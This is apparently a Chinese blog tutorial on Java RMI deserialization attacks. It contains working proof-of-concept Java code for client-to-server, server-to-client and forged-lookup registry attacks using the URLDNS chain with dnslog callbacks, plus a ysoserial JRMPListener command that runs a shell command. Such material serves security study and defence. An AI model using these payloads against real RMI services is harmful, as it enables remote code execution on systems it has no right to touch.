RMI
废话少说 实际上就是client想要调用server上某个类的方法 比方说 jed.hello(“hi”)
client将”hi”参数传回给server server在自己本机上调用jed.hello()方法执行后 将结果返回给client
RMI Registry纯粹是作为一个中转站
而由于server -> RMI Registry client <-> RMI Registry client <-> server这三个过程都要进行默认Object序列化和反序列化的操作
因此 如果我们传参是恶意Obejct或者server传回结果是恶意Object 就能够双向执行恶意代码
这里稍微具体的展开讲讲
关键点在server&®istry side
的registry.bind() registry.rebind()
实际上registry还有两个方法unbind() lookup()
但是只接收String 而上面两个接收Object 并且有直接的反序列化进程 这个我们后话再提
由于服务端提供Skel 所以我们定位到RegistryImpl_Skel::dispatch()

根据operations定位到bind()实际实现在case 0 可以看到对于传入的Remote对象直接readObject()

case 3则是rebind() 与上面同理
这里就不举正常RMI调用的例子了 直接上反序列化内容
客户端 attack 服务端
适用:调用方法接收Object类型参数 服务端存在利用链
这里直接用URLDNS链了
User.java
1 2 3 4 5 6 7 8
| import java.rmi.Remote; import java.rmi.RemoteException;
public interface User extends Remote {
public String getName() throws RemoteException; public void hello(Object s) throws RemoteException; }
|
RMIServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { UserImpl user = new UserImpl("jednersaous"); Registry registry = LocateRegistry.createRegistry(1234); System.out.println("registry is runing....."); registry.bind("user", user); System.out.println("user is bing"); } }
|
RMIClient.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIClient { public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry("localhost", 1234); User user = (User) registry.lookup("user"); user.hello(getpayload()); } catch (Exception e) { e.printStackTrace(); } }
public static Object getpayload() throws Exception{ HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>(); URL url = new URL("http://a0da8o.dnslog.cn"); Class c =URL.class; Field fieldHashcode = c.getDeclaredField("hashCode"); fieldHashcode.setAccessible(true); fieldHashcode.set(url,1); hashmap.put(url, 22); fieldHashcode.set(url,-1);
return hashmap; } }
|
启动RMIServer之后 再启动RMIClient 发现hello()被调用

此时查看dnslog

可以看到经过反序列化 成功触发URLDNS链
服务端 attack 客户端
适用:服务端可控 将调用方法的具体实现返回一个恶意Object
UserImpl.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.rmi.RemoteException; import java.rmi.server.RMIClientSocketFactory; import java.rmi.server.RMIServerSocketFactory; import java.rmi.server.UnicastRemoteObject; import java.util.HashMap;
public class UserImpl extends UnicastRemoteObject implements User {
public String name; protected UserImpl() throws RemoteException { super(); }
@Override public Object clone() throws CloneNotSupportedException { return super.clone(); }
protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException { super(port, csf, ssf); }
protected UserImpl(int port) throws RemoteException { super(port); }
public UserImpl(String name) throws RemoteException { this.name = name; }
@Override public String getName() throws RemoteException { return name; }
@Override public Object hello() throws RemoteException, MalformedURLException, NoSuchFieldException, IllegalAccessException { HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>(); URL url = new URL("http://a0da8o.dnslog.cn"); Class c =URL.class; Field fieldHashcode = c.getDeclaredField("hashCode"); fieldHashcode.setAccessible(true); fieldHashcode.set(url,1); hashmap.put(url, 22); fieldHashcode.set(url,-1);
return hashmap; } }
|
RMIClient直接调用hello()就行了

这里触发了两次链子 盲猜一手注册中心和客户端都触发了一次
客户端 attack 注册中心
前面我们说了lookup() unbind()
分别只接受String 没法传恶意对象过去
但当你了解了lookup()他们怎么发送的之后 你会发现可以直接自己伪造一个lookup()的请求

最重要的就是super.ref.newCall()
这句 相当于是lookup的一个标识 我们完全可以通过这句的模仿来自建一个lookup()请求
RMIServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { UserImpl user = new UserImpl("jednersaous"); Registry registry = LocateRegistry.createRegistry(1234); System.out.println("registry is running....."); registry.bind("user", user); System.out.println("user is bing"); } }
|
RMIClient.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import java.io.ObjectOutput; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.RemoteCall; import java.rmi.server.RemoteObject; import java.rmi.server.Operation; import sun.rmi.server.UnicastRef; import java.util.HashMap;
public class RMIClient { public static void main(String[] args) { try { Object payload = hello(); Registry registry = LocateRegistry.getRegistry("localhost", 1234); Field[] fileds = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fileds[0].setAccessible(true); UnicastRef ref = (UnicastRef) fileds[0].get(registry); Field[] fields_1 = registry.getClass().getDeclaredFields(); fields_1[0].setAccessible(true); Operation[] operations = (Operation[]) fields_1[0].get(registry); RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(payload); ref.invoke(var2);
User user = (User) registry.lookup("user"); } catch (Exception e) { e.printStackTrace(); } }
public static Object hello() throws MalformedURLException, NoSuchFieldException, IllegalAccessException { HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>(); URL url = new URL("http://rhemyf.dnslog.cn"); Class c =URL.class; Field fieldHashcode = c.getDeclaredField("hashCode"); fieldHashcode.setAccessible(true); fieldHashcode.set(url,1); hashmap.put(url, 22); fieldHashcode.set(url,-1);
return hashmap; } }
|

题外话JEP290
JEP290提供了限制反序列化的机制 有白名单或黑名单 需要手动设置
适用:>= jdk8u121 jdk7u131 jdk6u141
比如上面的利用方法在JEP290出现之后就失败了 这时我们需要一些Bypass的手段 复现这里留个坑
服务端 attack 注册中心
实际上和服务端 attack 客户端同理 这也是为什么之前URLDNS链触发两次的原因
触发点也是在RegistryImpl_Skel::dispatch()下
这里我的服务端和注册中心在一块 不太好复现 这种情况在实际生产环境上用的也少
注册中心 attack 服务端 || 客户端
yso集成了JRMP注册中心 直接用yso复现下试试
注册中心
1
| java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections1 "touch aaa"
|
客户端只要getRegistry后随便调用个bind() lookup()等那几个就行了
1 2
| Registry registry = LocateRegistry.getRegistry("192.168.64.1",1234); User hello = (User) registry.lookup("hello");
|